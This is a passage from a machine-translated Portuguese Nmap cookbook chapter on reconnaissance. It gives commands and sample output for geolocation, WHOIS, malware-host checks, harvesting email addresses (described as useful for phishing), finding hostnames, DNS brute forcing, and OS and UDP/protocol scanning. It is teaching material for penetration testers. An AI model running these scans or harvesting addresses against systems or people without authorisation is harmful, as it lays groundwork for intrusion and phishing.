operacional, enumeração de portas e descoberta de serviços, mas graças ao Nmap Scripting Engine, agora é
possível executar várias novas tarefas de coleta de informações, como geolocalizar um IP, verificar se um host está
conduzindo atividades maliciosas, forçando registros DNS e coletando contas de e-mail válidas usando o Google, entre
muitos outros.

Neste capítulo, abordarei uma combinação de opções Nmap e scripts NSE para consultar servidores WHOIS,
descobrir serviços UDP e comparar serviços com vulnerabilidades de segurança pública.

Geolocalizar um endereço IP
Identificar a localização de um endereço IP ajuda os administradores de sistema em muitas situações, como ao
rastrear a origem de um ataque, uma conexão de rede ou um pôster inofensivo em seus fóruns.

Gorjan Petrovski enviou três scripts Nmap NSE que nos ajudam a localizar
geograficamente um endereço IP remoto: ip-geolocation-maxmind, ip-geolocation-
ipinfodb e ip geolocation-geobytes.

Esta receita mostrará como configurar e usar os scripts de geolocalização incluídos no Nmap NSE.

Preparando-se
Para o script ip-geolocation-maxmind é necessário um banco de dados externo. Baixe o banco de dados da
cidade de Maxmind em http://geolite.maxmind.com/download/geoip/ database/GeoLiteCity.dat.gz e extraia-o
para sua pasta de dados Nmap local ($NMAP_DATA/nselib/data/).

78

www.it-ebooks.info
Machine Translated by Google

Capítulo 3

Para ip-geolocation-ipinfodb é necessária uma chave de API, então você precisa se registrar
em http://ipinfodb.com/register.php para obtê-la. Este serviço não impõe um limite de consulta, ao
contrário do Geobytes, então eu recomendo pegar sua própria chave de API para habilitar este script.

Como fazer isso...


Abra um terminal e digite o seguinte comando:

$nmap --script ip-geolocation-* <alvo>

Você deve ver a seguinte saída:

PORTA SERVIÇO DE ESTADO

22/tcp ssh fechado

80/tcp http aberto

113/tcp identidade fechada

Resultados do script de host:

| ip-geolocation-geoplugin: | 50.116.1.121

(0xdeadbeefcafe.com) | coordenadas (lat,lon):

39.489898681641,-74.47730255127

|_ estado: Nova Jersey, Estados Unidos

Nmap concluído: 1 endereço IP (1 host ativado) verificado em 8,71 segundos

Como funciona...
O argumento --script ip-geolocation-* diz ao Nmap para iniciar todos os scripts com o padrão ip-geolocation- no
início do nome. No momento em que escrevo, existem três scripts de geolocalização disponíveis: ip-geolocation-
geoplugin, ip-geolocation maxmind e ip-geolocation-ipinfodb. Às vezes, os provedores de serviços não retornam
nenhuma informação sobre um determinado endereço IP, por isso é recomendável que você tente comparar os
resultados de todos eles. As informações retornadas por esses scripts incluem coordenadas de latitude e longitude,
país, estado e cidade, quando disponíveis.

Tem mais...
Lembre-se de que o script ip-geolocation-geoplugin funciona consultando um serviço público gratuito. Antes de usar
este script, considere a quantidade de consultas que você precisa fazer, pois muitos serviços públicos impõem um
limite de consultas permitidas.

79

www.it-ebooks.info
Machine Translated by Google

Coletando informações adicionais do host

É um equívoco comum pensar que os serviços IP para geolocalização fornecem uma localização de 100% do
computador ou dispositivo. A precisão da localização depende muito do banco de dados e cada provedor de serviços
pode ter usado métodos diferentes de coleta de dados. Lembre-se disso ao interpretar os resultados desses scripts
NSE.

Enviando um novo provedor de geolocalização Se você


conhece um provedor de IP para geolocalização melhor, não hesite em enviar seu próprio script
de geolocalização para nmap-dev. Não se esqueça de documentar se o script requer uma API ou banco de
dados externo. Se você não tem experiência em desenvolvimento para Nmap, pode adicionar sua ideia à lista
de desejos do script NSE localizada em https://secwiki.org/w/Nmap/Script_Ideas.

Veja também

f A receita Obtendo informações de registros WHOIS f A receita


Verificando se um host é conhecido por atividades maliciosas f A receita
Brute forçando registros DNS f A receita Coletando contas de e-mail válidas
f A receita Descobrindo nomes de host apontando para o mesmo endereço
IP f A correspondência receita de serviços com vulnerabilidades de segurança
conhecidas f A receita de falsificação do IP de origem de uma varredura de porta f
A receita de geração de um gráfico de topologia de rede com o Zenmap no Capítulo
8,
Gerando Relatórios de Varredura

Obtendo informações de registros WHOIS


Os registros WHOIS geralmente contêm dados importantes, como o nome do registrador e as
informações de contato. Os administradores de sistema têm usado o WHOIS há anos e, embora
existam muitas ferramentas disponíveis para consultar esse protocolo, o Nmap se mostra inestimável por
causa de sua capacidade de lidar com faixas de IP e listas de nomes de host.

Esta receita mostrará como recuperar os registros WHOIS de um endereço IP ou nome de domínio usando o
Nmap.

Como fazer isso...

Abra um terminal e digite o seguinte comando:

$nmap --script whois <alvo>

A saída será semelhante à seguinte:

$nmap --script whois scanme.nmap.org

80

www.it-ebooks.info
Machine Translated by Google

Capítulo 3

Relatório de verificação do Nmap para scanme.nmap.org (74.207.244.221)


O host está ativo (latência de 0,10 s).
Não mostrado: 995 portas fechadas
PORTA ESTADO SERVIÇO

22/tcp aberto 25/ ssh


tcp filtrado smtp 80/tcp aberto
http 646/tcp filtrado ldp 9929/tcp
aberto
nping-echo

Resultados do script de host:


| whois: Registro encontrado em whois.arin.net | netrange:
74.207.224.0 - 74.207.255.255 | nome de rede: LINODE-US |
orgname: Linode | organização: LINOD | país: estado dos
EUA: NJ | | orgtechname: Linode Network Operations |
_orgtechemail: support@linode.com

Como funciona...
O argumento --script whois diz ao Nmap para consultar um banco de dados WHOIS dos Registros
Regionais da Internet para obter os registros de um determinado alvo. Este script usa os dados de
atribuições da IANA para selecionar o RIR e armazena os resultados localmente. Como alternativa, você
pode substituir esse comportamento e selecionar a ordem dos provedores de serviços a serem usados
no argumento whodb:

$nmap --script whois --script-args whois.whodb=arin+ripe+afrinic <alvo>

Este script consultará, sequencialmente, uma lista de provedores WHOIS até que o registro ou uma
referência ao registro seja encontrado. Para ignorar os registros de referência, use o valor nofollow:

$nmap --script whois --script-args whois.whodb=nofollow <alvo>

Tem mais...
Para consultar os registros WHOIS de uma lista de nomes de host (-iL <arquivo de entrada>) sem iniciar
uma varredura de porta (-sn), digite o seguinte comando Nmap:

$ nmap -sn --script whois -v -iL hosts.txt

81

www.it-ebooks.info
Machine Translated by Google

Coletando informações adicionais do host

A saída será semelhante à seguinte:

NSE: 1 script carregado para verificação.


NSE: pré-varredura de script.
Iniciando o Ping Scan às 14h20 Verificando
3 hosts [4 portas/host]
Ping Scan concluído às 14:20, 0,16s decorridos (3 hosts no total)
Iniciando resolução de DNS paralelo de 3 hosts. às 14:20 Concluída resolução
de DNS paralelo de 3 hosts. às 14:20, 0,20s decorridos NSE: Script verificando 2 hosts.

Iniciando NSE às 14:20 NSE


concluído às 14:20, 1,13s decorrido Relatório de
varredura do Nmap para scanme.nmap.org (74.207.244.221)
O host está ativo (latência de 0,10 s).

Resultados do script de
host: | whois: Registro encontrado em whois.arin.net |
netrange: 74.207.224.0 - 74.207.255.255 | nome de rede:
LINODE-US | orgname: Linode | organização: LINOD | país:
estado dos EUA: NJ | | orgtechname: Linode Network
Operations |_orgtechemail: support@linode.com

Relatório de verificação do Nmap para insecure.org (74.207.254.18)


O host está ativo (latência de 0,099s).
Registro rDNS para 74.207.254.18: web.insecure.org

Resultados do script do
host: |_whois: Consulte o resultado para 74.207.244.221.

NSE: Varredura de script 74.207.254.18.


Iniciando NSE às 14:20 NSE
concluído às 14:20, 0,00s decorrido Relatório de
varredura do Nmap para nmap.org (74.207.254.18)
O host está ativo (latência de 0,10 s).
Registro rDNS para 74.207.254.18: web.insecure.org

Resultados do script do
host: |_whois: Consulte o resultado para 74.207.244.221.

82

www.it-ebooks.info
Machine Translated by Google

Capítulo 3

NSE: pós-varredura de script.

Leia arquivos de dados de: /usr/local/bin/../share/nmap

Nmap concluído: 3 endereços IP (3 hosts acima) verificados em 1,96 segundos

Pacotes brutos enviados: 12 (456B) | Recebido: 3 (84B)

Desativando o cache e as implicações disso Às vezes, as respostas em cache

terão preferência sobre a consulta ao serviço WHOIS, e isso pode impedir a descoberta de uma atribuição de endereço
IP. Para desativar o cache, você pode definir o argumento do script whodb como nocache:

$ nmap -sn --script whois --script-args whois.whodb=nocache


scanme.nmap.org

Como em todo serviço gratuito, precisamos levar em consideração a quantidade de consultas que precisamos fazer para evitar
atingir o limite diário e ser banido.

Veja também

f A receita de localização geográfica de um endereço IP

f A receita Verificando se um host é conhecido por atividades maliciosas

f A receita de registros DNS de força bruta f A receita

de coleta de contas de e-mail válidas f A receita de impressão

digital do sistema operacional de um host

f A receita de correspondência de serviços com vulnerabilidades de segurança conhecidas

f A receita de falsificação do IP de origem de uma varredura de porta f A receita de geração

de um gráfico de topologia de rede com Zenmap no Capítulo 8,


Gerando Relatórios de Varredura

Verificando se um host é conhecido por


atividades maliciosas
Os administradores de sistema que hospedam usuários geralmente lutam para monitorar seus servidores contra a
distribuição de malware. O Nmap nos permite verificar sistematicamente se um host é conhecido por distribuir malware ou
ser usado em ataques de phishing, com alguma ajuda da API de navegação segura do Google .

Esta receita mostra aos administradores de sistema como verificar se um host foi sinalizado pelo serviço de navegação
segura do Google como sendo usado em ataques de phishing ou distribuição de malware.

83

www.it-ebooks.info
Machine Translated by Google

Coletando informações adicionais do host

Preparando-se
O script http-google-malware depende do serviço de navegação segura do Google e exige que
você se registre para obter uma chave de API. Registre-se em http://code.google.com/apis/safebrowsing/
key_signup.html.

Como fazer isso...


Abra seu terminal favorito e digite:

$nmap -p80 --script http-google-malware --script-args http-google-


malware.api=<API> <alvo>

O script retornará uma mensagem indicando se o servidor é conhecido pela Navegação segura do Google
por distribuir malware ou ser usado em um ataque de phishing.

Relatório de varredura Nmap para mertssssooopa.in (203.170.193.102)

O host está ativo (latência de 0,60 s).


SERVIÇO DO ESTADO DO PORTO

80/tcp http aberto

|_http-google-malware: Host é conhecido por distribuir malware.

Como funciona...
O script http-google-malware consulta o Google Safe Browsing Service para determinar se um host é
suspeito de ser malicioso. Este serviço é usado por navegadores da web como Mozilla Firefox e
Google Chrome para proteger seus usuários, e as listas são atualizadas com muita frequência.

# nmap -p80 --script http-google-malware -v scanme.nmap.org

A saída será a seguinte:

NSE: 1 script carregado para verificação.

NSE: pré-varredura de script.

Iniciando verificação de ping às 12:28

Digitalizando scanme.nmap.org (74.207.244.221) [4 portas]

Ping Scan concluído às 12:28, 0,21s decorridos (1 total de hosts)

Iniciando resolução de DNS paralelo de 1 host. às 12:28

Resolução de DNS paralelo concluída de 1 host. às 12:28, 0,19s se passaram

Iniciando SYN Stealth Scan às 12:28

Digitalizando scanme.nmap.org (74.207.244.221) [1 porta]

84

www.it-ebooks.info
Machine Translated by Google

Capítulo 3

Descoberta porta aberta 80/tcp em 74.207.244.221


SYN Stealth Scan concluído às 12:29, 0,26s decorridos (1 portas no total)
NSE: Varredura de script 74.207.244.221.
Iniciando NSE às 12:29
NSE concluído às 12:29, 0,77s decorridos
Relatório de verificação do Nmap para scanme.nmap.org (74.207.244.221)
O host está ativo (latência de 0,15s).
SERVIÇO DO ESTADO DO PORTO

80/tcp http aberto

|_http-google-malware: o host é seguro para navegar.

Tem mais...

Se você não quiser usar o argumento http-google-malware.api toda vez que iniciar este script, você pode editar o arquivo
http-google-malware.nse e codificar sua chave de API no script. Procure a seção a seguir e armazene sua chave na variável
APIKEY:

---#########################
--DIGITE SUA CHAVE DE API AQUI #
---#########################
APIKEY local = ""
---#########################

Para obter a documentação completa, visite http://nmap.org/nsedoc/scripts/ http-google-malware.html.

Veja também

f A receita de localização geográfica de um endereço IP

f A receita Obtendo informações de registros WHOIS

f A descoberta de nomes de host apontando para a mesma receita de endereço IP

f A receita de correspondência de serviços com vulnerabilidades de segurança conhecidas

f A falsificação do IP de origem de uma receita de varredura de porta

f A receita de registros DNS de força bruta f A receita

de descoberta de serviços UDP

f A receita Gerando um gráfico de topologia de rede com Zenmap no Capítulo 8,


Gerando Relatórios de Varredura

85

www.it-ebooks.info
Machine Translated by Google

Coletando informações adicionais do host

Coletando contas de e-mail válidas


As contas de e-mail válidas são muito úteis para testadores de penetração, pois podem ser usadas para
explorar relações de confiança em ataques de phishing, auditoria de senha de força bruta para servidores
de e-mail e como nomes de usuário em muitos sistemas de TI.

Esta receita ilustra como obter uma lista de contas de e-mail públicas válidas usando o Nmap.

Preparando-se
O script http-google-email não está incluído no repositório oficial do Nmap. Portanto, você precisa baixá-lo
em http://seclists.org/nmap-dev/2011/q3/att-401/ http-google-email.nse e copiá-lo para o diretório de scripts
local. Depois de copiar http-google-email.nse, você deve atualizar o banco de dados do script com:

#nmap --script-updatedb

Como fazer isso...


Abra seu terminal favorito e digite:

$nmap -p80 --script http-google-email,http-email-harvest <alvo>

Você deve ver algo semelhante à seguinte saída:

Relatório de verificação do Nmap para insecure.org (74.207.254.18)


O host está ativo (latência de 0,099s).
Registro rDNS para 74.207.254.18: web.insecure.org
SERVIÇO DO ESTADO DO PORTO

80/tcp http aberto | http-


google-email: |
_fyodor@insecure.org | http-e-
mail-colheita: | Spidering
limitado a: maxdepth=3; maxpagecount=20; dentro do host=inseguro. organização

| root@fw.ginevra-ex.it |
root@198.285.22.10 | xi@x.7xdq |
ross.anderson@cl.cam.ac.uk |
rmh@debian.org | sales@insecure.com |_
fyodor@insecure.org

86

www.it-ebooks.info
Machine Translated by Google

Capítulo 3

Como funciona...
Os mecanismos de script Nmap permitem que os testadores de penetração coletem e-mails de duas maneiras:

f O script http-google-email do Shinook usa o Google Web e a Pesquisa de Grupos do Google para
localizar contas de e-mail públicas pertencentes a um determinado domínio.

f Os spiders http-email-harvest de Pattrik Karlsson analisam o servidor da web fornecido e


extrai todos os endereços de e-mail encontrados.

O argumento -p80 --script http-google-email,http-email-harvest limita a varredura de porta à porta 80 e inicia os


scripts mencionados anteriormente para tentar reunir o maior número possível de contas de e-mail válidas.

Tem mais...
O script http-email-harvest depende da biblioteca httpspider , que é altamente personalizável. Por exemplo, para
permitir que o spider rastreie páginas adicionais, use o argumento httpspider.maxpagecount:

$nmap -p80 --script http-email-harvest --script-args httpspider.maxpagecount=50


<alvo>

Para iniciar o spidering de uma página diferente da pasta raiz, use o argumento httpspider.url:

$nmap -p80 --script http-email-harvest --script-args httpspider.url=/welcome.php


<alvo>

A documentação oficial desta biblioteca pode ser encontrada em http://nmap.org/nsedoc/lib/httpspider.html#script-


args.

Para http-google-email, há alguns argumentos que é bom saber:

f Você pode especificar o nome de domínio a ser procurado usando o argumento do script domain.

$ nmap -p80 --script http-google-email --script-args domain=insecure.org


scanme.nmap.org

f Ao aumentar o número de resultados de página com as páginas de argumento do script , você pode
obter resultados adicionais:

# nmap -p80 --script http-google-email --script-args pages=10


scanme.nmap.org

87

www.it-ebooks.info
Machine Translated by Google

Coletando informações adicionais do host

Argumentos de script NSE O


sinalizador --script-args é usado para definir argumentos de scripts NSE. Por exemplo, se você quiser definir o
useragent do argumento da biblioteca HTTP, use o seguinte:

nmap -sV --script http-title --script-args http.useragent="Mozilla 999" <alvo>

Você também pode usar aliases ao definir argumentos de scripts NSE. Usar:

$nmap -p80 --script http-trace --script-args path <alvo>

Em vez de:

$nmap -p80 --script http-trace --script-args http-trace.path <alvo>

HTTP User Agent Existem


alguns produtos de filtragem de pacotes que bloqueiam solicitações feitas usando o HTTP User Agent padrão
do Nmap. Você pode definir um UserAgent HTTP diferente definindo o argumento http.useragent:

$nmap -p80 --script http-email-harvest --script-args http.useragent="Mozilla


42"

Veja também

f A receita Ocultando nosso tráfego com dados aleatórios adicionais no Capítulo 2,


Exploração de rede
f A receita de localização geográfica de um
endereço IP f A receita de obtenção de informações de registros
WHOIS f A receita de impressão digital do sistema operacional de um
host f A receita de descoberta de nomes de host apontando para o mesmo endereço
IP f A receita de verificação se um host é conhecido por atividades maliciosas
f A receita de registros DNS de força bruta

Descobrir nomes de host apontando para o mesmo


endereço de IP

Os servidores da Web retornam conteúdo diferente, dependendo do nome do host usado na solicitação HTTP.
Ao descobrir novos nomes de host, os testadores de penetração podem acessar novos aplicativos da Web de
destino que eram inacessíveis usando o IP do servidor.

Esta receita mostra como enumerar todos os nomes de host apontando para o mesmo IP e , a fim de
descobrir novos destinos.

88

www.it-ebooks.info
Machine Translated by Google

Capítulo 3

Preparando-se
O script hostmap depende de serviços externos, e a versão oficial suporta apenas o DNS Logger do BFK.
Na minha experiência, este serviço funciona muito bem para servidores populares, mas não tanto para os
outros. Por esta razão, criei minha própria versão do hostmap.nse que adiciona um novo provedor de
serviços: ip2hosts.com. Este serviço usa a API de pesquisa do Bing e geralmente retorna registros adicionais
não disponíveis nos registros do BFK.

Baixe hostmap.nse com suporte Bing em https://secwiki.org/w/Nmap/ External_Script_Library.

Depois de copiá-lo para seu diretório de script local, atualize seu banco de dados de script executando
o seguinte comando:

#nmap --script-updatedb

Como fazer isso...


Abra um terminal e digite o seguinte comando:

$nmap -p80 --script hostmap nmap.org

A saída será semelhante à seguinte:

$nmap -p80 --script hostmap nmap.org

Relatório de verificação do Nmap para nmap.org (74.207.254.18)

O host está ativo (latência de 0,11s).

Registro rDNS para 74.207.254.18: web.insecure.org


SERVIÇO DO ESTADO DO PORTO

80/tcp http aberto

Resultados do script de host:

| mapa de

host: | sectools.org

| nmap.org |

insecure.org |

seclists.org |

_secwiki.org

89

www.it-ebooks.info
Machine Translated by Google

Coletando informações adicionais do host

Como funciona...

Os argumentos --script hostmap -p80 dizem ao Nmap para iniciar o script HTTP hostmap e limitar a varredura de porta à
porta 80 para acelerar esta tarefa.

Esta versão do hostmap.nse consulta dois serviços web diferentes: DNS Logger do BFK e ip2hosts.com. O DNS Logger
do BFK é um serviço gratuito que coleta suas informações de dados DNS públicos, e ip2hosts.com é um serviço da Web
mantido por mim baseado na API de pesquisa do Bing. Ele basicamente inicia uma pesquisa no Bing usando as palavras-
chave "ip:<ip de destino>" para extrair uma lista de nomes de host conhecidos.

Ambos os serviços são gratuitos, e abusar deles provavelmente fará com que você seja banido do serviço.

Tem mais...

Você pode especificar o provedor de serviços definindo o argumento hostmap.provider:

$nmap -p80 --script hostmap --script-args hostmap.provider=BING <alvo>

$nmap -p80 --script hostmap --script-args hostmap.provider=BFK <destino>

$nmap -p80 --script hostmap --script-args hostmap.provider=ALL <alvo>

Para salvar uma lista de nomes de host para cada IP verificado, use o argumento hostmap.prefix.
Definir este argumento criará um arquivo com um nome de arquivo <prefix><target> em seu diretório de trabalho:

$nmap -p80 --script hostmap --script-args hostmap.prefix=HOSTSFILE <destino>

Veja também

f A receita Coletando informações de rede com scripts de transmissão no Capítulo 2,


Exploração de rede

f A receita de localização geográfica de um endereço IP

f A receita Obtendo informações de registros WHOIS f A receita Coletando

contas de e-mail válidas f A receita Verificando se um host é conhecido

por atividades maliciosas

f Os protocolos de listagem suportados por uma receita de host remoto f A

receita de registros DNS de força bruta

90

www.it-ebooks.info
Machine Translated by Google

Capítulo 3

Registros DNS de força bruta


Os registros DNS contêm uma quantidade surpreendente de informações do host. Forçando-os brutalmente,
podemos revelar alvos adicionais. Além disso, as entradas DNS geralmente fornecem informações, por
exemplo, "mail" indicando que obviamente estamos lidando com o servidor de email ou a entrada DNS padrão da
Cloudflare "direct", que na maioria das vezes apontará para o IP que eles estão tentando proteger.

Esta receita mostra como fazer registros DNS de força bruta com o Nmap.

Como fazer isso...


Abra seu terminal e digite:

#nmap --script dns-brute <alvo>

Os resultados devem incluir uma lista de registros DNS encontrados se forem bem-sucedidos:

# nmap --script dns-brute host.com

Relatório de varredura do Nmap para host.com (XXX.XXX.XXX.XXX)

O host está ativo (latência de 0,092s).


Outros endereços para host.com (não digitalizados): YYY.YY.YYY.YY ZZ.ZZZ.ZZZ.ZZ

Não mostrado: 998 portas filtradas


PORTA SERVIÇO DE ESTADO

80/tcp http aberto

443/tcp abrir https

Resultados do script de host:

| DNS-bruto:

| DNS nomes de host de força bruta | | | | |


| | | | |_ www.host.com – AAA.AA.AAA.AAA
www.host.com – BB.BBB.BBB.BBB

www.host.com – CCC.CCC.CCC.CC

www.host.com – DDD.DDD.DDD.D

mail.host.com – EEE.AA.EEE.AA

ns1.host.com – AAA.EEE.AAA.EEE

ns1.host.com – ZZZ.III.ZZZ.III

ns2.host.com – ZZZ.III.XXX.XX

direct.host.com – YYY.YY.YYY.YY

ftp.host.com – ZZZ.ZZZ.ZZZ.ZZ

91

www.it-ebooks.info
Machine Translated by Google

Coletando informações adicionais do host

Como funciona...
O argumento --script dns-brute inicia o script NSE dns-brute.

O dns-brute foi desenvolvido pela Cirrus e tenta descobrir novos nomes de host forçando os
registros DNS do alvo. O script basicamente itera por meio de uma lista de nomes de host,
verificando se a entrada DNS existe para encontrar registros válidos.

Esse ataque de força bruta é facilmente detectado pelo monitoramento do mecanismo de segurança
para respostas NXDOMAIN.

Tem mais...
O dicionário padrão usado pelo dns-brute é codificado no arquivo NSE localizado em sua pasta
de script local /scripts/dns-brute.nse. Para usar seu próprio arquivo de dicionário, use o argumento
dns-brute.hostlist:

$nmap --script dns-brute --script-args dns-brute.hostlist=words.txt <alvo>

Para definir o número de threads, use o argumento dns-brute.threads:

$nmap --script dns-brute --script-args dns-brute.threads=8 <alvo>

Você pode definir um servidor DNS diferente com --dns-servers <serv1[,serv2],...>:

$ nmap --dns-servers 8.8.8.8,8.8.4.4 scanme.nmap.org

Biblioteca de destino
O argumento --script-args=newtargets força o Nmap a usar novos hosts encontrados como
alvos:

#nmap --script dns-brute --script-args novos alvos

A saída será semelhante à seguinte:

$nmap -sP --script dns-brute --script-args newtargets host.com

Relatório de verificação do Nmap para host.com (<IP removido>)


O host está ativo (latência de 0,089s).

Outros endereços para host.com (não verificados): <IP removido> <IP removido> <IP removido> <IP removido>

Registro rDNS para <IP removido>: <id>.cloudflare.com

92

www.it-ebooks.info
Machine Translated by Google

Capítulo 3

Resultados do script de host:

| DNS-bruto:

| DNS nomes de host de força bruta | | | | |


| | | | |_ www.host.com - <IP removido>
www.host.com - <IP removido>

www.host.com - <IP removido>

www.host.com - <IP removido>

mail.host.com - <IP removido>

ns1.host.com - <IP removido>

ns1.host.com - <IP removido>

ns2.host.com - <IP removido>

ftp.host.com - <IP removido>


direct.host.com - <IP removido>

Relatório de varredura do Nmap para mail.host.com (<IP removido>)

O host está ativo (latência de 0,17 s).

Relatório de verificação do Nmap para ns1.host.com (<IP removido>)

O host está ativo (latência de 0,17 s).

Outros endereços para ns1.host.com (não verificados): <IP removido>

Relatório de verificação do Nmap para ns2.host.com (<IP removido>)

O host está ativo (latência de 0,17 s).

Relatório de verificação do Nmap para direct.host.com (<IP removido>)

O host está ativo (latência de 0,17 s).

Nmap concluído: 7 endereços IP (6 hosts acima) verificados em 21,85 segundos

Observe como especificamos apenas um destino quando iniciamos a verificação, mas o argumento
newtargets adicionou novos IPs à fila de verificação.

O argumento max-newtargets define o número máximo de hosts a serem adicionados à fila de


verificação:

#nmap --script dns-brute --script-args max-newtargets=3

93

www.it-ebooks.info
Machine Translated by Google

Coletando informações adicionais do host

Veja também

f Os serviços de impressão digital de uma receita de host remoto no Capítulo 1, Nmap


Fundamentos

f A receita de localização geográfica de um endereço

IP f A receita de coleta de endereços de e-mail válidos

f A receita Obtendo informações de registros WHOIS

f A descoberta de nomes de host apontando para a mesma receita de endereço IP f A

falsificação do IP de origem de uma receita de varredura de porta

f A receita de descoberta de serviços UDP

Impressão digital do sistema operacional


de um host
Determinar o sistema operacional de um host é essencial para todo testador de penetração por vários motivos,
incluindo listar possíveis vulnerabilidades de segurança, determinar as chamadas de sistema disponíveis para definir
as cargas de exploração específicas e para muitas outras tarefas dependentes do sistema operacional. O Nmap é
conhecido por ter o banco de dados e a funcionalidade de impressão digital do sistema operacional mais abrangente.

Esta receita mostra como identificar o sistema operacional de um host remoto usando o Nmap.

Como fazer isso...

Abra um terminal e digite o seguinte:

#nmap -O <alvo>

A saída será semelhante à seguinte:

# nmap -O scanme.nmap.org
Relatório de verificação do Nmap para scanme.nmap.org (74.207.244.221)
O host está ativo (latência de 0,12s).
Não mostrado: 995 portas fechadas
PORTA ESTADO SERVIÇO

22/tcp aberto ssh

25/tcp smtp filtrado


80/tcp aberto http
ldp filtrado 646/tcp
9929/tcp aberto nping-echo

94

www.it-ebooks.info
Machine Translated by Google

Capítulo 3

Tipo de dispositivo: propósito geral


Em execução (APENAS AGUENTANDO): Linux 2.6.X (87%)
SO CPE: cpe:/o:linux:kernel:2.6.38
Suposições agressivas de SO: Linux 2.6.38 (87%), Linux 2.6.34 (87%), Linux 2.6.39 (85%)

Nenhuma correspondência exata do sistema operacional para o host (condições de teste não ideais).

Distância de rede: 8 saltos

Detecção de SO executada. Informe quaisquer resultados incorretos em http://nmap.org/


submit/ .
Nmap concluído: 1 endereço IP (1 host ativado) verificado em 17,69 segundos

Como funciona...
A opção -O diz ao Nmap para habilitar a detecção do SO. A detecção de SO do Nmap é muito poderosa devido à
sua comunidade de usuários, que contribui permanentemente com impressões digitais que identificam uma ampla
variedade de sistemas, incluindo roteadores residenciais, webcams IP, sistemas operacionais e muitos outros
dispositivos de hardware.

O Nmap realiza vários testes para tentar determinar o sistema operacional de um alvo.
A documentação completa pode ser encontrada em http://nmap.org/book/
osdetect-methods.html.

A detecção do SO requer pacotes brutos e o Nmap precisa de privilégios suficientes para criar esses
pacotes.

Tem mais...
O Nmap usa o CPE (Common Platform Enumeration) como o esquema de nomenclatura para detecção de
serviço e sistema operacional. Essa convenção é usada no setor de segurança da informação para identificar
pacotes, plataformas e sistemas.

Caso a detecção do SO falhe, você pode usar o argumento --osscan-guess para tentar adivinhar o sistema
operacional:

#nmap -O -p- --osscan-guess <alvo>

Para iniciar a detecção do SO somente quando as condições de verificação forem ideais, use o
argumento --osscan-limit:

#nmap -O --osscan-limit <alvo>

95

www.it-ebooks.info
Machine Translated by Google

Coletando informações adicionais do host

Detecção de SO no modo detalhado


Experimente a detecção do SO no modo detalhado para ver informações adicionais do host, como o número de
sequência do ID de IP usado para varredura ociosa:

#nmap -O -v <alvo>

Enviando novas impressões digitais do sistema

operacional O Nmap informará quando você pode contribuir com o projeto enviando um sistema operacional ou dispositivo
não identificado.

Encorajo você a contribuir com este projeto, pois os recursos de detecção do Nmap vêm diretamente de seu banco de
dados. Visite http://insecure.org/cgi-bin/submit.cgi?new-os para enviar uma nova impressão digital.

Veja também

f A listagem de portas abertas em uma receita de host remoto no Capítulo 1, Fundamentos do Nmap f Os serviços

de impressão digital de uma receita de host remoto Capítulo 1, Fundamentos do Nmap

f A receita de digitalização de endereços IPv6 Capítulo 2, Exploração de rede f A lista de

protocolos suportados por uma receita de host remoto

f A receita de correspondência de serviços com vulnerabilidades de segurança conhecidas

f A falsificação do IP de origem de uma receita de varredura de porta

f A receita de registros de DNS de força bruta f A

descoberta de firewalls dinâmicos com uma receita de verificação TCP ACK

f A receita de descoberta de serviços UDP

Descobrindo os serviços UDP


Os serviços UDP geralmente são ignorados durante os testes de penetração, mas bons testadores de penetração sabem
que eles frequentemente revelam informações importantes do host e podem até ser vulneráveis e usados para comprometer
um host.

Esta receita mostra como usar o Nmap para listar todas as portas UDP abertas em um host.

Como fazer isso...

Abra seu terminal e digite:

#nmap -sU -p- <alvo>

96

www.it-ebooks.info
Machine Translated by Google

Capítulo 3

A saída segue o formato padrão do Nmap:

# nmap -sU -F scanme.nmap.org

Relatório de verificação do Nmap para scanme.nmap.org (74.207.244.221)


O host está ativo (latência de 0,100s).
Não mostrado: 98 portas fechadas
PORTA ESTADO SERVIÇO

68/udp aberto|dhcpc filtrado


123/udp aberto ntp

Como funciona...
O argumento -sU diz ao Nmap para iniciar uma varredura UDP contra o host de destino. O Nmap envia sondagens UDP
para as portas selecionadas e analisa a resposta para determinar o estado da porta. A técnica de varredura UDP do Nmap
funciona da seguinte maneira:

1. Um pacote UDP é enviado ao destino com uma carga UDP vazia, a menos que seja especificado
no arquivo nmap-payloads.

2. Se a porta estiver fechada, uma mensagem ICMP Port Unreachable será recebida do destino.

3. Se a porta estiver aberta, os dados UDP serão recebidos.

4. Se a porta não responder, assumimos que o estado da porta é filtrada|aberta.

Tem mais...
A varredura UDP é lenta devido às taxas de transmissão impostas pelos sistemas operacionais que limitam o
número de respostas por segundo. Além disso, os hosts com firewall bloqueando o ICMP descartarão as
mensagens de portas inacessíveis. Isso torna difícil para o Nmap diferenciar entre portas fechadas e filtradas e
causa retransmissões que tornam essa técnica de varredura ainda mais lenta.
É importante que você considere isso de antemão se precisar fazer um inventário dos serviços UDP e estiver
com um cronograma apertado.

Seleção de porta

Como a varredura UDP pode ser muito lenta, é recomendável usar o sinalizador -p para seleção de porta:

#nmap -p1-500 -sU <alvo>

O alias -F também pode ser usado para verificação rápida de portas:

#nmap -F -sU <alvo>

97

www.it-ebooks.info
Machine Translated by Google

Coletando informações adicionais do host

Veja também

f Os serviços de impressão digital de uma receita de host remoto no Capítulo 1, Nmap


Fundamentos

f A receita Obtendo informações de registros WHOIS f A impressão

digital do sistema operacional de uma receita de host

f A descoberta de nomes de host apontando para a mesma receita de endereço IP

f A lista de protocolos suportados por uma receita de host remoto f A receita

de correspondência de serviços com vulnerabilidades de segurança conhecidas f A

receita de falsificação do IP de origem de uma varredura de porta

f A receita de registros DNS de força bruta

Listando protocolos suportados por um host


remoto
Uma varredura de protocolo IP é útil para determinar quais protocolos de comunicação estão sendo usados por
um host. Essas informações servem a propósitos diferentes, incluindo testes de filtragem de pacotes e impressões
digitais do sistema operacional remoto.

Esta receita mostra como usar o Nmap para enumerar todos os protocolos IP suportados por um host.

Como fazer isso...

Abra um terminal e digite o seguinte comando:

$nmap -sO <alvo>

Os resultados mostrarão quais protocolos são suportados, junto com seus estados.

# nmap -sO 192.168.1.254

Relatório de verificação do Nmap para 192.168.1.254

O host está ativo (latência de 0,0021s).

Não mostrado: 253 protocolos abertos|filtrados


PROTOCOLO DE SERVIÇO DO ESTADO

98

www.it-ebooks.info
Machine Translated by Google

Capítulo 3

1 abrir icmp
6 abrir tcp
132 sctp fechado

Endereço MAC: 5C:4C:A9:F2:DC:7C (Huawei Device Co.)

Nmap concluído: 1 endereço IP (1 host ativado) verificado em 3,67 segundos

Como funciona...
O sinalizador -sO diz ao Nmap para executar uma varredura de protocolo IP. Esse tipo de varredura itera pelos protocolos
